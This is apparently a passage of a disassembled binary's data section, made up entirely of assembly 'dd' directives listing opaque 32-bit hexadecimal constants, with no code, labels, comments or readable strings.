889A3550h, 2CFE34C0h dd 8D50D76Ah, 0E97A34h, 0EF3B6EA1h, 0EB483100h, 61DCA858h dd 71BE2EC8h, 829C0E04h, 4A1EA4A8h, 50701062h, 497A4CACh dd 0A2305384h, 9C9E30D9h, 48D4090Ah, 7540A4DEh, 2E6EFE3Ch dd 44B4ED33h, 0C13890FFh, 0B4AC42A0h, 0D8FA1A26h, 7FA0921Fh dd 20D8B02Dh, 8C26B2B4h, 0A680D4C4h, 2A7ED442h, 3F60CBEBh dd 6D0D6CA0h, 6124FD60h, 2F040492h, 0A0108E3Ch, 5087FFA1h dd 6C09D2D4h, 16738912h, 49D45C49h, 3024E3C4h, 24174CBDh dd 5756FF82h, 0A3527058h, 68AC02D4h, 82F13B27h, 1BB8074h dd 287B26E9h, 0A0FA2C34h, 78883FE1h, 0E8882421h, 0CB02B312h dd 0E881B477h, 4C92F120h, 0D22AF4A8h, 4DAC808Ch, 0BA670EE6h dd 4963FF19h, 0AEF0F043h, 0BF4881A2h, 0C1700804h, 0C3370AC0h dd 0CBEE0880h, 0C28C1E83h, 193809E4h, 6C21C598h, 827EF02Fh dd 67AE0D91h, 8100E08Fh, 34BA0426h, 0A090BC77h, 0D814D6A8h dd 0F120CEFAh, 0E41963BBh, 2C93D4AAh, 0B83F1300h, 86E0062Ah dd 0FF3CF44h, 39CD3EFBh, 0CAAF9AA0h, 0A7FCD076h, 40805CB1h dd 339FEC8h, 0A8380FA4h, 803D8F19h, 2AA5C242h, 2C39CD6Ah dd 3C842E77h, 0BD183281h, 0E8507004h, 131310BBh, 4E202D05h dd 81BD01B0h, 412EA0D1h, 0E2DC2371h, 3BAC308Ch, 4BBBF404h dd 90CCFD03h, 0F3F8A1FAh, 1840E412h, 0EC96BAD1h, 76903F9Eh dd 9F25FE07h, 0DA310284h, 0B60E88Fh, 59078BFDh, 602764B0h dd 2B1C16DCh, 182C9BFEh, 0B52C7881h, 0BC672286h, 9831344Bh dd 2098ABD6h, 0A95F4189h, 82256C93h, 20592480h, 8ECB5A72h dd 3F09449Ah, 21C88C81h, 0F37D08D8h, 42DB530h, 0CB856CF1h dd 0B0B8C849h, 0DB327C00h, 29F61C5Eh, 869B0B36h, 88F73AEDh dd 780D8851h, 0A0269896h, 0E2E10FF1h, 60E8F848h, 0A4AB3124h dd 0F0BB2A3Ah, 0B244F090h, 5A6C9CB0h, 0CF565820h, 8B0ACC45h dd 84D8D7DAh, 0E5A4208h, 0BFC92CDCh, 628BB402h, 92A380A3h dd 35DA9100h, 0F7F28852h, 0A42A009Fh, 4D832E90h, 2DEC32B1h dd 0F267BF6h, 0DC5158FFh, 14C8115h, 81C0C9Ch, 0FE92671h dd 0A7408EC4h, 0D21471E4h, 1B007198h, 0C15015D4h, 4C874F68h dd 0E9844CE2h, 0B1442B5h, 0A8284123h, 90A5824h, 0DE1A2D7Dh dd 804340A3h, 12CD14Ch, 0D0494588h, 0F188DA8Ah, 758093A2h dd 0E97F6DE6h, 0FBC50079h, 0F487B615h, 0ABFC643Ch, 0B4DD1014h dd 0A4B828B4h, 30235744h, 3891AA49h, 1090EA63h, 3AB62A0Bh dd 73F80416h, 914A5C92h, 60E840CCh, 7AA348A0h, 13205F17h dd 25D44204h, 707A6EE7h, 10F2F889h, 13A97033h, 5FB6AEDh dd 88C52994h, 9557FFE8h, 0A37CE3BCh, 61E8F8DCh, 227230C7h dd 65661AD8h, 595FE00h, 4C03386Eh, 0CEC7C76h, 1F174F5Bh dd 0BBF05620h, 31F04D30h, 129770Ch, 8A8675C3h, 985E6D69h dd 31210408h, 7C292C6Fh, 0FD00388Ch, 0F137D1FBh, 23714DACh dd 6C2C1200h, 951BA9E8h, 1AF21477h, 0D7008BDBh, 20FE86AFh dd 500D966h, 0ACF0B96Ah, 0C06D3AD2h, 21EAEF98h, 6B047825h dd 126FB779h, 396594C0h, 0E9720648h, 203B3622h, 7D8EEC05h dd 203C3FB5h, 40F465Eh, 493E22EFh, 3B87C10h, 0DFB5008Ch dd 0DEE7473Fh, 9E032D98h, 0EF26A52Ah, 0F09CEFA9h, 6265F282h dd 4CCD91FBh, 0D05E3880h, 790CD3ECh, 263C8A6Fh, 2036608Dh dd 7E2BD777h, 25EB90A0h, 7F9FFC0Ch, 604ED865h, 0E1660873h dd 7479EE6Eh, 159F5F00h, 0B2279C02h, 0CF750CE9h, 0BF407DEFh dd 9D71EE00h, 2F27A5Dh, 9A49C076h, 861BD335h, 37C68E01h dd 0CDA3E355h, 15670F4h, 2BF02D9Bh, 83BF8575h, 0EE226FB0h dd 15A11248h, 0B61848D1h, 0BE2972C0h, 225E4675h, 0A0319002h dd 314BA276h, 3C9724Fh, 0F154ECBFh, 560D938h, 4D970C53h dd 66849000h, 0DE1DD4BBh, 0C43A0040h, 0DAA34B28h, 9BF0890Ch dd 0C03108AAh, 28BC6021h, 0C3301A7h, 0E0D0A0C5h, 0C26A023Ch dd 0AFBD86F9h, 10A90040h, 9E71E33h, 0A621007Dh, 2B8DAFB5h dd 0CF312255h, 71038827h, 0EEB92180h, 0D3635CCh, 389D5F00h dd 0C79F79C8h, 130905Eh, 0A428FF1Fh, 80FE4E91h, 0C186C2F9h dd 73178BAh, 0DB1D8A2Dh, 90375799h, 6A9E3CC6h, 9A02EF09h dd 1B10273Dh, 2389EEC0h, 9249075h, 195AFB43h, 20BBA80Fh dd 13ED823h, 0EF74AFBFh, 0A8010EB9h, 9D9AFB7h, 67AC40C0h dd 0E72479EEh, 659E5485h, 0AA221062h, 2BD4502Fh, 79748344h dd 80B4A870h, 7A3006F1h, 0F85D469Fh, 0C03F90C8h, 0EF75AFC0h dd 0CE9DC143h, 9040AFB8h, 23A53705h, 0E0C16F7Ch, 7A0F81F0h dd 0BB1898B1h, 1D4E0113h, 2BD5A851h, 0C7468983h, 6E3AD430h dd 7C1B80B8h, 27C1E256h, 0B1EE2Fh, 11A2EAF3h, 29D56B7Bh dd 0E60739C0h, 0B7382Bh, 0B4D06D8Dh, 8BE04099h, 3CC2C402h dd 4877EE29h, 0C0F34D50h dd 0BA803779h, 291B8495h, 0E021F075h, 604F6A46h, 0AC08116Dh dd 0F51F06AFh, 1BCC3169h, 46D8170h, 605C1FDCh, 5BF88333h dd 0E3D81950h, 4418E41h, 0A0054D1Ah, 3D60EA22h, 0F6D45269h dd 0B3D535AFh, 0BA9008C9h, 4A28C3C0h, 80D243A3h, 2B28BB5Fh dd 133B713Dh, 24839CFCh, 678032Ch, 1E8B78D9h, 4390CE80h dd 50D0830Eh, 74AB00A4h, 0E2AFEFC1h, 0C0B0C269h, 98E2A1EEh dd 0EBA3D800h, 2E07E3ECh, 0E7A9686Ch, 281B193Ch, 13E402BBh dd 50A1A264h, 37B86048h, 0B7D1008Ch, 3C1A0F40h, 61288CE6h dd 792BA8C6h, 0F2119C41h, 41A7697Dh, 86BF080Fh, 0C082ABB7h dd 0B2222498h, 0EA291537h, 1B0184B5h, 45EBA73Eh, 0CFD09FE4h dd 694E7106h, 4B850021h, 68EEC5DDh, 0E6336A3Eh, 800830h dd 0DD43AC21h, 7F1E076h, 59F47700h, 0A988B72Bh, 26BC928Fh dd 40E84F73h, 0AFBC1C27h, 3B525D00h, 38FBE77Fh, 5CC448DAh dd 0FEF323C2h, 0F26C1AE0h, 0A4D0712Ah, 13409A09h, 11989D3Dh dd 1B809E36h, 0F3BFCB3h, 9C82087Ch, 8E807503h, 6669E907h dd 0E4480060h, 26BF4323h, 0A600B45Eh, 5625A082h, 0A8E91C19h dd 6DCBFCh, 0EBA823FBh, 15CE1AFh, 879264B1h, 123828h, 93AB6476h dd 0C16C46C7h, 315E390Fh, 2835C09Eh, 18A34356h, 0F8ED2B23h dd 0A5094BC4h, 3171EF3Dh, 0BE18B524h, 0A3452808h, 4035C4AAh dd 8F28B65Ah, 22960779h, 0B005F3A8h, 0F9509B52h, 68503C60h dd 67695781h, 54CB6177h, 74E882F0h, 0BD308529h, 0B0798098h dd 96752E70h, 7133701Ch, 0EEF62903h, 0B967436Ch, 60858D97h dd 41D8FC19h, 55EE24A0h, 6444FABAh, 0A7D8F845h, 3D9CBA43h dd 3324228Fh, 0CFEB055Ch, 1FB440EDh, 79D69CE5h, 0A782641Ah dd 0E6B0C061h, 5C89FCADh, 0C00C1B2Fh, 1661725Ah, 0B9D0238Bh dd 0C1299C3Fh, 88876D1h, 29402F9Eh, 0B84F4127h, 73523F8Bh dd 2BB7E262h, 0C61686Ah, 4418604Ch, 1CC3A63Ch, 0CE893F7Bh dd 0AC002AE5h, 0E04C77DEh, 96300D3h, 0FAEFBFFDh, 0A0B24A11h dd 26F1D0Bh, 91B8987Eh, 20E4A22h, 70F6C18h, 1B43ECC0h dd 2C90CB7Fh, 0D3A98E0Bh, 14882A81h, 242490A0h, 203C70E8h dd 0A9EE0AE4h, 43DC895Fh, 4015F0A6h, 48CF94Dh, 23BF1422h dd 86E6B380h, 0B05F02DAh, 63A7780Eh, 5EC5CCE8h, 66127001h dd 6A687175h, 0E9F3A501h, 72943408h, 0A381877Dh, 94EE6460h dd 90CA0A8h, 41E9751Ch, 0B7ED7C20h, 60D87F63h, 4A3E2730h dd 23EC3AC1h, 0ACEC0002h, 0EBB81B1Ch, 0F375EA13h, 58C7A824h dd 34046875h, 61F387Ah, 1874239Fh, 0CE1A6F09h, 0EA50253Fh dd 3DE26C81h, 17DA7700h, 0D7703005h, 30D79467h, 239DF5A0h dd 0E80D65AFh, 0B6948165h, 1E3086B8h, 1C80F43Eh, 0A84F71EEh dd 3A70AC0h, 2CC996Fh, 0BE75C064h, 87639083h, 0DA1A2002h dd 9E6D3C7Ch, 965E2320h, 8B816602h, 3168C483h, 74902056h dd 30326Eh, 78312529h, 2E5FF1DAh, 3E905955h, 8447A24h dd 52002A7Dh, 4D9423D2h, 7E1E31Bh, 0A7848A8h, 0F522FBA5h dd 23250208h, 0DC0AF79Fh, 81B1BB1Ch, 19859EFBh, 81DACEAh dd 0EC2EEC90h, 22208060h, 138C98F9h, 11BEBCEh, 29096DE0h dd 32C77150h, 0AC79C874h, 20631DB8h, 7B479A1Fh, 4F63EC6Eh dd 38294D6Eh, 0B5BD019Dh, 2493AF17h, 0FF025F4h, 0F0CB5F2Ch dd 0DC904C20h, 6C193728h, 3199562h, 1F04C874h, 125100AFh dd 253C9D78h, 8D13A234h, 0F0655436h, 206DC882h, 57D7F5C5h dd 0C7121C92h, 4C40FB4Dh, 3FCD5A1Fh, 1FB4F658h, 0C3D33B64h dd 0CCA76C60h, 0C61030FFh, 74C722Ch, 4068528Ch, 0B2423C8h dd 3C48B01Dh, 0B0041A12h, 6D001B87h, 5ABE18E3h, 58518D40h dd 5A640414h, 4F94A043h, 6CA97065h, 9034FA01h, 0A0F75A9Ch dd 5E76A50h, 879D4F3Fh, 20E8C7B7h, 0EF1B5716h, 3481EA13h dd 0F2F0E829h, 192162B9h, 5F22E5AFh, 0DA4E665h, 14FF031Bh dd 57BC60C0h, 50219641h, 0EE0013FDh, 28F90F81h, 4736A1F8h dd 0D7AFD107h, 0C88C7388h, 0DBE683C3h, 47B20582h, 741590ECh dd 2EA82F77h, 0FD402002h, 14413580h, 0AF459BDAh, 9F5BF00h dd 79E18490h, 38A64F25h, 272DCB4h, 35F5739Ah, 0CB216E4Eh dd 7E84E558h, 0CC7B0571h, 0AF0063B8h, 0C217F38Eh, 38EE5BECh dd 478053EAh, 7988C073h, 0F8927D2Bh, 0B1028EA3h, 3A3C3F0h dd 0B5A8E83Fh, 6BA030FBh, 0C3E6CCB9h, 6893D1E0h, 0EE389B07h dd 3974BD42h, 0F3961076h, 0CA3348EFh, 0E1601800h, 0E05EE308h dd 180AB425h, 0EEA9F090h, 3061826Eh, 819A4EDh, 88606F16h dd 23C3DD49h, 821158EEh, 0DD41AA03h, 38002111h, 0FB56475Eh dd 553520Eh, 0D4E41AD9h, 0EFCC402Eh, 805C1CBFh, 9F20E600h dd 14DAF170h, 36F50008h, 0B87438B6h, 7124CC24h, 0DD1138BFh dd 7EBB8840h, 313C9316h, 451106D0h, 303899A0h, 0FBE264h dd 0DF10E04Eh, 0C8CFA80h, 36F047F4h, 4C2FEF24h, 7750A11Fh dd 6556A403h, 49749B82h, 91672800h, 6DC5E529h, 106C00F9h dd 22F13983h, 50902B8Eh, 0EBA54D09h, 0C58CA0BAh, 49E3A777h dd 8879C88Ah, 9807BF4Ch, 7BF40F0Ah, 0C8F1A2C2h, 409BA108h dd 51E70385h, 0F07C53E4h, 0E300B358h, 9529F079h, 12319169h dd 9CD1B13h, 0A47256h, 352C81E4h, 89EE0093h, 0EC69544Fh dd 25649837h, 242879CFh, 90DF08FCh, 0A0A2FC8Bh, 16DCB40h dd 785A096Fh, 0F084BD0Dh, 7300F02Bh, 0BC013898h, 0FB6B7AC0h dd 0A9AC6CA6h, 41D2086Ch, 0F088D426h, 0A9FB86F4h, 0BD012968h dd 0D870A6BFh, 88A66483h, 1201168h, 6962509Bh, 0E4447DEEh dd 0C0B4AF84h, 0F010408Bh, 6E03AC18h, 9A29351h, 0B04CD530h dd 6723DE81h, 61DC641Bh, 0C8D069EFh, 26A5017Fh, 7421C61Eh dd 9B229F24h, 0F6021870h, 0EDEBE0C7h, 0B9BDC12Dh, 1D020314h dd 0E523209Ch, 2DD40CC3h, 0F80169E1h, 0CC43E134h, 88D0848Fh dd 2CE7989h, 0F2F9176Fh, 6CE395E9h, 6C7177BAh, 308BEF08h dd 70ECD0B8h, 4A01CC93h, 60EEC4DDh, 0AB887A18h, 16DD0042h dd 0D8D35325h, 0D7277840h, 0B63C00F7h, 6A5ED17h, 7FA18F3Eh dd 6D67688Ah, 0A1B9D2C8h, 68EF1DC8h, 18B65DF4h, 206A2FEEh dd 7B431C56h, 0BB84724h, 28A8F492h, 7C465654h, 65F1007Eh dd 6DB6B8FCh, 4A010CE4h, 0BEC084AAh, 0F2FC1A56h, 0B050B2D1h dd 67CF2010h, 9220ECB0h, 433C0B30h, 44202AEBh, 8BFDCBE6h dd 84270907h, 131974C6h, 0D2B03838h, 7913F040h, 0D022996Bh dd 5A28684Ah, 231B0A3Dh, 246C0117h, 1E4E0A38h, 4B642808h dd 0C0FC30B7h, 0A3234728h, 32E11BAh, 0FB28B85Ch, 6430E8D4h dd 0BCCE7C20h, 0D0611468h, 1671BF10h, 98358EB9h, 2C2D406h dd 50BFF8B1h, 58160C72h, 0CB86B008h, 70911892h, 826E7B42h dd 8213E618h, 27C1B7Ch, 0A960F180h, 5C9A4B9Fh, 0DA22690Ah dd 0FB00AC42h, 2CF134D9h, 65D01632h, 0BEB48C3Dh, 0EF73AF08h dd 417AC4B1h, 98AFB6A7h, 2BEE030h, 0A6CB6B6Dh, 84E0EE07h dd 108E7B9Fh, 82020AFBh, 117783DFh, 3F298126h, 78A2C60Fh dd 9DFB1183h, 70066760h, 4691FA8Fh, 52D52DB8h, 18BC5411h dd 4C2808C5h, 30C4E2A3h, 28BD6140h, 9002E60Eh, 0A3F8C2E5h dd 5C0109FDh, 67DD6Fh, 0C16BE929h, 53819619h, 0F242295h dd 867510A0h, 0A9FD4Eh, 0B512E14h, 0D1B26F88h, 0B500E5FEh dd 287FA83Eh, 0A7EAEC30h, 607E44B0h, 275C40Ch, 0FA6F800Bh dd 944444ADh dd 4783F412h, 3222A002h, 0C8D46431h, 0C2C04168h, 46EF77AFh dd 8122D1h, 6DAFBAABh, 0F48CC029h, 0C84C447Bh, 204F2F4Ch dd 94D67834h, 9A270011h, 5967D835h, 1E009C15h, 0C94014EFh dd 0BEE92EA5h, 2C2376C8h, 712CF071h, 81CCA85h, 0E8174359h dd 523CC04h, 0E1B84E0Fh, 0B674168Eh, 3075E700h, 72ECCA23h dd 843B515Dh, 30229531h, 0FF90433Fh, 0E4E80108h, 38EA7619h dd 0A89049A7h, 0E54C7E77h, 0FCD20095h, 0D77F8BE0h, 2CFF841h dd 0D39FB37Ah, 2C80FE65h, 0D65A1B1Ah, 19401649h, 0C4197803h dd 7ABA0CE4h, 27186h, 0B14A091Fh, 0D0E65A05h, 4D4F4118h dd 0B1A1FB81h, 0F2EF07E0h, 0AA20D8D5h, 7174681Fh, 440271B2h dd 0A8D205E4h, 0C02795F8h, 3A422FC3h, 7BBD5D00h, 0D890E380h dd 0A55103A1h, 0E8D5BF5Eh, 0A03A405Eh, 0DF0F3723h, 8FA1298Ah dd 68D6088h, 24EA67FFh, 8BEC2DF1h, 4E45824h, 90DAF4h, 2749EE22h dd 0C4396F8Fh, 25F1007Eh, 0D2F775A5h, 9AE80E40h, 89F202F0h dd 607A1323h, 4FC13A94h, 31087244h, 2038A405h, 43104612h dd 0C0CCE2D0h, 3BDB40BFh, 2485DA77h, 844FE4DDh, 7994B0BDh dd 907AAF20h, 0ECD22630h, 89933EF0h, 0C3D897B3h, 1858EECAh dd 0D10402E8h, 0A169D5DEh, 12F3A3B0h, 71B108C7h, 23D648Fh dd 0FBA9F0A7h, 6724B293h, 607D44E8h, 26B9E5AEh, 6080C26Bh dd 0EF109246h, 0D9C5D500h, 0C35A7658h, 73AB768Bh, 4E5602FDh dd 35B9EAF3h, 6461E8CAh, 0C34454CBh, 14DC6E60h, 0C212CACh dd 1B5408h, 5C41A652h, 0EAF81EB0h, 0B219EE60h, 907B279Fh dd 0CDBC00A4h, 20ED23Eh, 572DCFECh, 3424227Dh, 8906655h dd 761A5469h, 81CA840Dh, 0B4F2A870h, 0EBE00580h, 0AC589026h dd 1218B554h, 57B8D87Eh, 25B4A404h, 0C820A162h, 56A5BD65h dd 0DB4480B0h, 0C6CE0F69h, 65624912h, 24C6EBA2h, 4827AD31h dd 3E0BD64h, 0CECB23Ah, 0BC4256B8h, 26149F18h, 8248ECDBh dd 61B254A6h, 909CC752h, 0D0CCA137h, 8069420Bh, 4DBE54B1h dd 206D560Ah, 2089F185h, 69C1A788h, 43A83F64h, 36651A30h dd 3EB77809h, 2DBC8168h, 0C24ED69h, 725D16B3h, 89089067h dd 0E1809037h, 0F39224EBh, 0D811ADC0h, 0A5098584h, 34313E03h dd 5028C11Bh, 57AFEB0Ch, 0A5A22C71h, 31002C54h, 925CFD82h dd 4A30C5ACh, 0AE98884Dh, 6008A048h, 0D01A57B0h, 89067h dd 10C7F1CCh, 4C616A2Ah, 0C56D02EEh, 5018C169h, 588CA6F0h dd 0EB3FB86Dh, 83913A34h, 0A946DDC3h, 359D170Ch, 21101C96h dd 952D4829h, 800491F8h, 7C0EC7BCh, 646C7DABh, 986AA0E1h dd 0DD0844E8h, 0C430EEBEh, 3CA54281h, 0B2C485DDh, 13D38C80h dd 17FA0FF2h, 251D43C4h, 0EC200844h, 23A51F99h, 0B518B053h dd 9C521950h, 79EE0990h, 7ECCA13Bh, 19A78AEFh, 27767080h dd 0E8986834h, 3B48DA22h, 29E8EA29h, 7B465C60h, 0F3424501h dd 28AB23A3h, 75038430h, 18861B09h, 37978930h, 0D23500C8h dd 8F2498B9h, 83A47C00h, 22E6AB9Dh, 7B2031DEh, 1176EBC9h dd 482C7274h, 728238Eh, 0A0034E09h, 8FF51F5Ch, 6CC15DF2h dd 4FDA1878h, 0D5354171h, 0F03C703h, 0DB7A0CBBh, 74A688B7h dd 7121062Bh, 611F7BC9h, 29E91A0Bh, 389801F1h, 75F11570h dd 0FCBCC4D2h, 806494F2h, 4B7ECDE6h, 33C243Ah, 7518E22Dh dd 4C0F1E8h, 6870B9Fh, 639B94Fh, 3CF1DBBh, 0BF00187Ah dd 723E38F0h, 0CCBE6E2Ch, 9D091969h, 1DE726h, 31D8699Bh dd 0BA30489Eh, 7720F2D4h, 4EE152E7h, 9D38064Dh, 0D890911Eh dd 184E7537h, 98C36048h, 0E700DDACh, 0E2224B2Ch, 26AFF57Fh dd 46F4966Bh, 4C3C51D6h, 0F4222EA5h, 9F737488h, 44B6DDECh dd 976D4381h, 229BB454h, 9EDC90D5h, 7AF101FCh, 75C96E81h dd 0ACE6F23Fh, 302B7920h, 0D21924A5h, 423D3C6Ah, 6DC98062h dd 52207411h, 9EB71EEh, 9A1C5AA6h, 4C4E88E0h, 6EFE66E4h dd 0BDCF1500h, 6FDB7039h, 0CB9F25B3h, 71679806h, 0F1F4CA14h dd 549D2660h, 0FBAF7702h, 6FD4A489h, 0C9407E4Fh, 46BE612Ch dd 0A0279A2Eh, 0C01C7504h, 2AE3A4F3h, 681F2194h, 0E8855D08h dd 0C4A27320h, 0C023D430h, 98738ED9h, 1F7DA4A0h, 0F017CC04h dd 14D2BE22h, 9223424Bh, 7B68C064h, 89A09E69h, 0AC2A344Fh dd 481D40ECh, 1C52969Fh, 0F004439Ch, 4FDDABh, 55D9D67Fh dd 3585D489h, 8ACC883Ah, 0CC7875Eh, 863C6500h, 85FC6CBh dd 4F85927Fh, 7D4DD903h, 8260C0DAh, 0F85FF8CBh, 763F8CCh dd 0CCAD87Bh, 51DBC07Eh, 0D1E3D586h, 6385FC8Ch, 0CDDA8303h dd 3FCE8E0Ch, 0D1878028h, 90DD8958h, 0C886815Ah, 0D8405B60h dd 0BA3A1Ah, 0D1884DCDh, 0DB896585h, 27F69300h, 3A0C7270h dd 441F986h, 808F8A14h, 0A8808D5Fh, 90B26C40h, 0D53A2F0Dh dd 5FC579D3h, 7E713EE3h, 4C18DC37h, 0DE54D6E1h, 0CF7D8608h dd 0C70A4E7Ch, 384350D7h, 1888036h, 8D5ECABCh, 5AD4CFh dd 0C3F0CA2h, 5DF96FD9h, 85194FE8h, 0A338B3AFh, 0CA7E11D8h dd 0A02F40h, 0BB6957C8h, 30EB0CB9h, 240050D9h, 895EB573h dd 0CE3AAEC9h, 8BAF29E1h, 0D7B67838h, 0B57D5B04h, 0CA3240BAh dd 0CEDE5F00h, 0B4631060h, 9231A085h, 3BD90FCFh, 0C191BA6Fh dd 0D4833CB9h, 662CE4F3h, 0D32744B0h, 1974906Eh, 48C0821Bh dd 0CB80D8Eh, 3BB0B658h, 4D6AC0ACh, 0E60278CEh, 0E528264h dd 84EBC0E8h, 3188215Ch, 9A8F40B5h, 904C8915h, 496C048h dd 90C21580h, 79CFAFB8h, 0B089499h, 583C194Fh, 593B0992h dd 401E606Ch, 42A26450h, 0FC1989C3h, 0CC885CEh, 719B6C39h dd 0B1842558h, 0E26037E4h, 0DE0E2E94h, 80B07CA8h, 0D0B9557Ch dd 889A850Ah, 2C1B5B65h, 60986690h, 2094D10Fh, 7598E1Ah dd 77C48394h, 887A338h, 43D40E26h, 0D67A8896h, 80882143h dd 200C8C54h, 0D52C405Dh, 234210BCh, 0CE50583Fh, 20579E22h dd 28D62214h, 0A058785Ch, 0F9DB81F0h, 5E188C7Dh, 0FC4E1809h dd 792D889Ah, 0F120A3AFh, 7B289EB7h, 0A1EE39A6h, 0C00B8115h dd 8578067h, 0F141BB64h, 2DDE02h, 5B2DD6Fh, 0EBA3EFF0h dd 15AC5E8Eh, 29172489h, 0EA4481B6h, 0D2985719h, 0D0A057B7h dd 0A54128E9h, 71EE690Ah, 28BCB053h, 0E8024003h, 68F172AFh dd 8C044675h, 22C24244h, 12DCA596h, 3008B5EAh, 7D443F78h dd 0D5704B74h, 0A7480DE8h, 4F044141h, 97C5179Bh, 64570C48h dd 1947329Fh, 1C08158Fh, 9847C43Dh, 0F5208248h, 875CA02Ch dd 29E98078h, 0A6841119h, 9185F40h, 3C782324h, 203C9C4Ah dd 0BE67F093h, 5127C1D0h, 0A29C6605h, 2EF85A03h, 4FCF0C6h dd 40ED4D8Ah, 55539B49h, 0C6E0C525h, 4E14C1AEh, 582028D3h dd 6E2819DFh, 0AC535D48h, 222820C7h, 0EDF2E343h, 7B4C5098h dd 0E54F2918h, 24CF7821h, 30C9E8Dh, 0AED4BE7h, 25D61818h dd 0C1800239h, 0ED2BE741h, 2718862Ah, 183991CFh, 51D5EB75h dd 3E793AFCh, 35F20E00h, 0B6DD4DC6h, 0E27805CBh, 0C2F6688Ah dd 0AC90E9C8h, 217C6D3Ch, 9171F088h, 7EA00280h, 0D441C76Fh dd 66E0805Bh, 657244C1h, 4E105C6Ah, 0B6193532h, 6D8AA240h dd 6F200490h, 7F74F67Bh, 0B63F8EDh, 82269D45h, 89C2F080h dd 0EF1880F8h, 0EE09E8BDh, 0F1CC0075h, 6F693EB4h, 0EA2B29ACh dd 0E0984C6Eh, 291944B8h, 11E0896Bh, 6A4018A8h, 0C9AB748h dd 0F5F66949h, 0A78824F0h, 8E8C961Ch, 751056EBh, 41240403h dd 3D107175h dd 0A93E121h, 0F010CCFDh, 6E3E301Dh, 0E0D18413h, 0BC46FEA3h dd 18047821h, 71F74E7Eh, 0B249FB3h, 0ACA6D876h, 0EBC0BE80h dd 18288A1Eh, 4865BDD6h, 0A34EE67Ah, 80964808h, 0A0D18E20h dd 1B099CDBh, 52D56717h, 0B06FA3FCh, 798DDEFh, 10E5BE28h dd 66404C71h, 4CF6AF88h, 0D12A20E3h, 0C8F87D90h, 4E80C910h dd 0C0F0B8DDh, 0DFF10171h, 4F264DF4h, 96C18BEEh, 24F4709Ah dd 8A745C9Fh, 80BCBFC6h, 99703DB8h, 0F5262025h, 1147E84Fh dd 3937F280h, 22DD066Eh, 0B05132C0h, 0AF12EDEAh, 2C08B570h dd 8FF19E4Dh, 80FFBF78h, 0A407217Ah, 152DDC54h, 127490EEh dd 44AF0198h, 0C4B83729h, 9EFCD071h, 0B0925496h, 4CEB1C46h dd 0C3888B59h, 0C7110044h, 3DF280AFh, 0C901E95h, 24D41553h dd 1225A832h, 7C60B07Ch, 2136699Fh, 52B46402h, 0D7798460h dd 9DEF0CA0h, 0D03DD52Ah, 0F067F8BEh, 7C6B5230h, 16002DFh dd 9EE271EFh, 1431ACE2h, 0B8386056h, 4B9F30A0h, 59F5F884h dd 0A122B830h, 39F16C00h, 6DD8A54Dh, 72940077h, 0ABE49F1Dh dd 2160D60Eh, 956C1A29h, 2EEB00F2h, 761127ACh, 491DDE7h dd 68107413h, 214ABC28h, 43D08D6Ch, 98B9146Bh, 640E2CC7h dd 0C0154E72h, 93562C7Dh, 241168h, 0FF99FE1Eh, 24273E4Ch dd 641C22B0h, 0BF75304Ah, 0DC4617C3h, 0BE88456Eh, 0C99821A0h dd 2AF07239h, 0DD210CE6h, 0A10E0849h, 93D6942h, 99000C64h dd 81FB105Dh, 0E6D8DCEEh, 6DCB07C4h, 41884EE5h, 0D053E0h dd 5AFC2E91h, 0B2D8569Ch, 0E8CE009Ch, 0D5A23C96h, 79F104DAh dd 88E929FAh, 6E005ED4h, 6CBF9204h, 0CBC647h, 2407BDA7h dd 945C56FAh, 509B4D00h, 0C2781558h, 8C7B4F74h, 6E3D44D8h dd 0FC2687DCh, 6C55B820h, 27A93C88h, 2C90736Ah, 0D909FEC9h dd 0D9DD67CDh, 0AB87094Ch, 7573B4D2h, 3C000099h, 0D5E8BE79h dd 1DCC001Ch, 0AEAF5517h, 270ED9FBh, 0CBC6E5E7h, 0F4E8A764h dd 7500CC2Ah, 36D5F8ABh, 1E697072h, 406C46E8h, 87CCBCE4h dd 1200BB2Dh, 0E778AA7Fh, 6C13996h, 0B40E99Dh, 730030F1h dd 0BB2779ACh, 5CFA26h, 0B47BAFC6h, 3C22A758h, 489CC100h dd 32211383h, 20DC6071h, 0C5B52F27h, 0C4207A53h, 0AD601E96h dd 0BB0332F7h, 3D36759Dh, 7C38A6A3h, 0C110603h, 212E5E72h dd 1AFD938h, 29567F1Eh, 6FFD3735h, 83A8D890h, 33F9ACh dd 783C8D31h, 50A4912Eh, 4E587760h, 3C9AB43Eh, 0A3987608h dd 0CDBD71A1h, 613EA3Bh, 1EBF4BB9h, 21B36009h, 0B6EAC5DDh dd 107C1914h, 4D186298h, 0EBD680F8h, 7CEF6D03h, 0AC840CBFh dd 0A420A036h, 7E41A96Fh, 339F3180h, 0F2EBBCh, 3EB791C1h dd 0CD453A5Bh, 4036F8C7h, 30AC31ECh, 0A8C92DFEh, 0C0043F89h dd 8786DEE2h, 92C20F1Fh, 4C6AFA80h, 173A8B2Ah, 0B80C26B7h dd 0E9C40B00h, 0C2D4A44Eh, 7A7607F9h, 0EAD07890h, 0D146167Eh dd 0E000BA22h, 0CF08EAC8h, 120057Dh, 445BBED4h, 9D2834A1h dd 0EF069199h, 112B5Dh, 0CF611547h, 79C20FB0h, 8FFA833h dd 6921003Dh, 33A5610Dh, 12002B91h, 7BB3FA96h, 6787F7DDh dd 73A3D982h, 9CC8A08Bh, 6518F464h, 7832058Fh, 0FE850A70h dd 5C68DF43h, 6F0EB646h, 0C01C8D4Ah, 0ABB2DBE8h, 5D447502h dd 9E250627h, 11BF0FC5h, 38F5DB00h, 99E24480h, 93C662Bh dd 0FB0221D3h, 0EA3F38EEh, 1FD4E17Eh, 99F29AE9h, 1A18F490h dd 0B0D46108h, 403EC437h, 6861126Eh, 905BE625h, 292201FAh dd 62468967h, 5F6820C7h, 1A0D7A00h, 0BC12766Bh, 3FFE0C56h dd 91D0B960h, 2D050211h, 0F8C0C888h, 43448338h, 0F1FE80FAh dd 7CDBB538h, 0A5261FA2h, 2A0020AAh, 9D29413Ah, 1108423h dd 9B3C7B85h, 912C3921h, 0F680C668h, 0EA448138h, 0FCD4448Ch dd 5E38EF01h, 6B0FF1DBh, 837F87ECh, 676E2A8h, 95333201h dd 0E721C6C5h, 12845DCCh, 489E8AABh, 5080A5ACh, 64788536h dd 1D10008Eh, 0C83B2FF1h, 8000BDF5h, 816A1E11h, 2322B14h dd 7BB02E30h, 3464A47Dh, 0CC791700h, 0DFD4165Eh, 68A1D0BCh dd 38CD1B8h, 0D5CB7DEEh, 84D8468Dh, 0FF1E92E6h, 54C70F74h dd 0BCCA7F43h, 2109371Dh, 84A4222Dh, 73F0E0DDh, 63447CF0h dd 0AAF81925h, 0BD01F1D6h, 